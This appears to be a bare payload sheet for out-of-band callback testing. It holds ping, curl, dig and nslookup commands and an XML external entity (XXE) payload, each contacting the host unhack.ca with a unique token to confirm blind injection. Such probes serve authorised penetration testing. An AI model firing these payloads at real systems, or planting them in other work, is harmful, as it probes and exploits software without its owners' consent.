$ ping -c1 -p 00e83b1e92a8e66cc24f8f7bc9459e00 unhack.ca
 

$ curl http://unhack.ca/p/e83b1e92a8e66cc24f8f7bc9459e
 

$ dig e83b1e92a8e66cc24f8f7bc9459e @unhack.ca
 

$ dig e83b1e92a8e66cc24f8f7bc9459e.ns.unhack.ca
 

C:\> nslookup e83b1e92a8e66cc24f8f7bc9459e unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e83b1e92a8e66cc24f8f7bc9459e">]>
    <foo>&xxe;</foo>